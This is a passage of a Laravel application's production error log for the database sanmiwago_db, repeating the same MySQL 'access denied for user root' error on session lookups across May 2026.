sanmiwago_db, SQL: select * from `sessions` where `id` = uHITWoSwPIs7Scs59QNBERyoHF9Q2wxy3RCNWfah limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uHITWoSwPIs7Scs59QNBERyoHF9Q2wxy3RCNWfah limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-13 07:54:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = oszKe99TCMPbb5Gyh2SfQIQ3tF49PMNl4CLzbvZP limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = oszKe99TCMPbb5Gyh2SfQIQ3tF49PMNl4CLzbvZP limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-13 17:26:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sk7G8w2XDn66NTDZud43iX4aOfueLtI8bcYlSUeB limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sk7G8w2XDn66NTDZud43iX4aOfueLtI8bcYlSUeB limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-14 08:34:34] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = F3HRbsTY8wXf2Z5ACtXV3FZjC4VZK8zXV666s9sQ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = F3HRbsTY8wXf2Z5ACtXV3FZjC4VZK8zXV666s9sQ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-14 14:19:15] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mnxMnfOxcBHKGVbCj0S8ynuU28ml1aoGALHjgFxt limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mnxMnfOxcBHKGVbCj0S8ynuU28ml1aoGALHjgFxt limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-14 21:05:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Vjx0jV9wycYEyY5Gse6jlMrWeQepmQVYJzRlIWAk limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Vjx0jV9wycYEyY5Gse6jlMrWeQepmQVYJzRlIWAk limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-16 17:00:56] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XS4i0mNBuj5kMeOihslXpIEVgEMs5Fl1LbI5K2rE limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XS4i0mNBuj5kMeOihslXpIEVgEMs5Fl1LbI5K2rE limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-16 20:05:46] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qqDL6sj8ImpUPXyjyrw9nLVnt6VYfoL7pzxVuxfG limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qqDL6sj8ImpUPXyjyrw9nLVnt6VYfoL7pzxVuxfG limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-16 23:23:53] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = U9dC7BE2MOkC0aQHYtJD8xrDKFJsnO7UKUTYJ7hP limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = U9dC7BE2MOkC0aQHYtJD8xrDKFJsnO7UKUTYJ7hP limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-17 12:41:29] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 1eSAYohVaCbiCZRjwlP7To7F1OXsFQqHU12G8EaQ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 1eSAYohVaCbiCZRjwlP7To7F1OXsFQqHU12G8EaQ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-17 12:49:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RjVpNb7t9iWa9Ed3AgEnYHrkRIaxq8hABBBr4w7z limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RjVpNb7t9iWa9Ed3AgEnYHrkRIaxq8hABBBr4w7z limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-17 18:03:25] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = J9YUYU8JD1iYnbIbcZ0PLW6CVNhN0AzIobPkzBXz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = J9YUYU8JD1iYnbIbcZ0PLW6CVNhN0AzIobPkzBXz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-17 19:53:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WJHQ6NvHzDyF61p75ZzxjPVtIjD6BjIKAYSFXTdq limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WJHQ6NvHzDyF61p75ZzxjPVtIjD6BjIKAYSFXTdq limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-18 07:16:15] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = JWEaujONbiZCxFmPcmnx2futjc5DdbCRWZQtBCIS limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = JWEaujONbiZCxFmPcmnx2futjc5DdbCRWZQtBCIS limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-19 04:30:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = a3dS11YS3KKNcmGAXUufST47pvYaZiOeKZL3Cdve limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = a3dS11YS3KKNcmGAXUufST47pvYaZiOeKZL3Cdve limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-19 10:00:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = F5JKVOekT2SA5AUQMhUQ0oN78gu9FN4ZHPtXnfus limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = F5JKVOekT2SA5AUQMhUQ0oN78gu9FN4ZHPtXnfus limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-19 11:37:28] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hipd0lBQ0DS7Hjlv2LZy75IT2lQvx7nbRkWbsZCI limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hipd0lBQ0DS7Hjlv2LZy75IT2lQvx7nbRkWbsZCI limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-19 13:31:58] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3g7GZ95RDob8ks7K6tDemVdIEL6rriR9jj6WLCIw limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3g7GZ95RDob8ks7K6tDemVdIEL6rriR9jj6WLCIw limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-19 14:56:11] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = pkqz5Q5DxRUNRVafUs3fX1wQ8UYapvIh6h7LJRKr limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = pkqz5Q5DxRUNRVafUs3fX1wQ8UYapvIh6h7LJRKr limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-19 15:40:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EhVb9OFmsPOlB0NsO8XCeVOSUGFthJpn8eEch4Nd limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EhVb9OFmsPOlB0NsO8XCeVOSUGFthJpn8eEch4Nd limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-20 19:01:19] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jTgh5An3tKkwDIBjudnMTSTocem1uSpOXFkerD6a limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jTgh5An3tKkwDIBjudnMTSTocem1uSpOXFkerD6a limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-21 00:23:27] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7goRe503zraK7ue3eumRbfQYLsQi0feklSszlH4t limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 7goRe503zraK7ue3eumRbfQYLsQi0feklSszlH4t limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-21 06:36:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RAD0GP7wLV0ar1I9fhoiFfmpvKQdoIiRzITyC79h limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RAD0GP7wLV0ar1I9fhoiFfmpvKQdoIiRzITyC79h limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-21 23:58:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = siDwFY9JQ9GtBvIwB9WwZXaQSnwy6bqvsBF5325n limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = siDwFY9JQ9GtBvIwB9WwZXaQSnwy6bqvsBF5325n limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-22 02:16:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TWxGzmtCsJeCEtR4nL4QIHB7IGzl0bTX02lBQ9ye limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = TWxGzmtCsJeCEtR4nL4QIHB7IGzl0bTX02lBQ9ye limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-22 04:16:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uMuS3KYcJANwIFiETEeC9N7mf5tjaMfLmr2NawKp limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uMuS3KYcJANwIFiETEeC9N7mf5tjaMfLmr2NawKp limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-22 10:02:25] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NA3nAIkScy9iy5zKreM73eVoozW9QefG3jHRSdvB limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NA3nAIkScy9iy5zKreM73eVoozW9QefG3jHRSdvB limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-23 02:10:21] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = m9wd5Bc1qtH0Eo0WcdUnV6N0ebJK1j6xMRHBTZ5s limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = m9wd5Bc1qtH0Eo0WcdUnV6N0ebJK1j6xMRHBTZ5s limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-23 15:19:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fuZeLjjrv0gpdEbof8ARudHCJ1miF4h8nV2Ydf5l limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fuZeLjjrv0gpdEbof8ARudHCJ1miF4h8nV2Ydf5l limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-23 15:53:57] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = t8lXHmVLuGGwUTblDvJTDH84AUu7iavlrxY4mhjj limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = t8lXHmVLuGGwUTblDvJTDH84AUu7iavlrxY4mhjj limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-05-24 06:58:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: 